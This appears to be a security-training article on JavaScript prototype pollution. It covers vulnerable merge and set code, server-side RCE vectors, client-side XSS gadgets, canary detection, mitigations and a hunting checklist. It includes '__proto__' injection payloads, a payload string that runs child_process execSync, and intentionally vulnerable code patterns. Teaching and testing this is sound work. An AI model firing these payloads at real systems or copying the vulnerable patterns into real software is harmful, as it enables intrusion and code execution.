Quick answer
Prototype Pollution lets an attacker modify Object.prototype (or Array.prototype, etc.) in JavaScript, polluting ALL objects in the runtime. Gadgets in libraries (lodash merge, jQuery extend) make it easy. Consequences: client-side XSS via UI-library gadgets, server-side RCE (Node.js execSync with argv override), bypassing auth checks that trust object properties.
How it works
In JavaScript, every object inherits from Object.prototype. If you do:
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // true — inherited from prototype
If user input reaches obj[key] = value with key === "__proto__":
const obj = {};
obj["__proto__"]["isAdmin"] = true; // pollutes Object.prototype
Any {} created afterwards will have isAdmin = true by default.
Typical vector — JSON merge
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Attacker sends
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, malicious);
// Now any object has isAdmin=true
console.log({}.isAdmin); // true
Lodash _.merge and _.set had historical CVEs for this pattern. Patched in recent versions, but apps with old lodash or custom merge remain vulnerable.
Server-side (Node.js)
Vector 1: Express body-parser + recursive merge
const _ = require('lodash');
const cfg = require('./config');
app.post('/settings', (req, res) => {
_.merge(cfg, req.body); // ⚠️ user input merged into a global config
res.send('ok');
});
// Attacker sends JSON
{ "__proto__": { "polluted": "value" } }
After the pollution, any library in the runtime that has a code path like:
function callShell(cmd, args) {
const opts = { shell: '/bin/bash' };
if (config.shell) opts.shell = config.shell;
return execSync(cmd, opts);
}
If config.shell is not explicitly defined and the attacker pollutes Object.prototype.shell = "node -e 'require(\"child_process\").execSync(...)' ", RCE.
Vector 2: argv override in child_process
Real case (CVE-2019-7609 Kibana):
// Attacker pollutes Object.prototype.NODE_OPTIONS
{ "__proto__": { "NODE_OPTIONS": "--inspect-brk=0.0.0.0:9229" } }
When some module invokes child_process.spawn('node', ['some.js']), Node.js reads NODE_OPTIONS from the environment. If the lib passes env as an object and the merge polluted __proto__.NODE_OPTIONS, the child node opens a remote debugger → connection + RCE via debugger.
Vector 3: Rendering engine (Pug/Handlebars)
Some templates use Object.assign(defaults, userOptions). If defaults isn't created with Object.create(null), it pollutes globals:
const opts = Object.assign({}, userOpts); // userOpts may have __proto__
opts[malicious_key] // accesses the polluted prototype
Client-side prototype pollution (CSPP)
Vector: query string or hash that the frontend parses with a vulnerable parser:
// jQuery extend (vulnerable < 3.4.0)
$.extend(true, options, parsed_hash);
// URL: https://target.tld/#/?__proto__[isAdmin]=true
// After parsing, Object.prototype.isAdmin = true
Gadgets in client-side:
- AdSense / Analytics that checks document properties.
- UI library that has
if (config.template) document.write(config.template). - Form builder that renders inputs based on
field.html.
Once Object.prototype.html is polluted, any field.html (where field = {}) is worth the attacker's value. If the lib does innerHTML = field.html, persistent XSS on the client.
Detection
Burp DOM Invader (CSPP scanner)
Built-in in Burp Pro. Injects payloads into location.hash, location.search, body. Detects gadgets that use the polluted values.
Manual
// Inject and check if Object.prototype changes
location.hash = '#/?__proto__[test]=polluted';
// After the lib parses it:
console.log(({}).test); // if "polluted", it pollutes globals
Server-side detection
POST to JSON endpoints with {"__proto__": {"canary_polluted": "yes"}}. Do a subsequent GET and check whether the app responds with the canary somewhere (serialized object, error message, etc.).
List of useful gadgets
In libraries
- lodash
_.merge,_.set,_.defaultsDeep(pre-4.17.12 vuln). - jQuery
$.extend(true, ...)(pre-3.4.0). - express
req.bodywith qs extended deep (pre-1.13). - mongoose schema merge.
- mootools class init.
Vulnerable code patterns
// 1. Recursive merge without __proto__ filter
function deepMerge(t, s) {
for (const k in s) {
if (typeof s[k] === 'object') deepMerge(t[k] || (t[k] = {}), s[k]);
else t[k] = s[k];
}
}
// 2. Path-based set
function set(obj, path, value) {
const keys = path.split('.');
let curr = obj;
for (let i = 0; i < keys.length - 1; i++) {
if (!curr[keys[i]]) curr[keys[i]] = {};
curr = curr[keys[i]];
}
curr[keys[keys.length - 1]] = value;
}
// 3. Object.assign to globals (rare but it exists)
Object.assign(Object.prototype, userInput); // ⚠️ double vulnerability
Correct mitigation
Object.create(null)for objects that receive user input. They have no prototype, so__proto__pollutes nothing.- Filter
__proto__,constructor.prototype,prototypein merge functions. Object.freeze(Object.prototype)at process boot. Any pollution attempt fails.- JSON.parse reviver that rejects dangerous keys.
- TypeScript with strict types avoids many cases by design.
- Lodash 4.17.12+, jQuery 3.4.0+, etc.
Hunting checklist
- Does the app use lodash, jQuery, mootools, or old frameworks?
- Are there endpoints that accept JSON deeply merged into state?
- Does the frontend parse
location.hashorlocation.searchwith jQuery extend? - Try
{"__proto__":{"canary":"polluted"}}and check whether it propagates? - Does Burp DOM Invader detect gadgets?
- After pollution, are there code paths that use properties without verifying (config.shell, options.html)?
Related labs
Practice client + server side prototype pollution and gadget chains toward XSS/RCE: Prototype Pollution labs.
Practice this in a lab
Prototype Pollution
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Client-side JavaScript analysis — endpoints, secrets and source maps
Extracting hidden endpoints from JS bundles, secret detection, source map analysis and dynamic instrumentation with Frida to audit client-side logic.
Client-side admin bypass — boolean manipulation + BAC in a modern SPA
Real Quora report: SPA with an isAdmin boolean in localStorage that controls the UI + a backend that doesn't validate server-side. How to chain a boolean flip with BAC for admin takeover.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.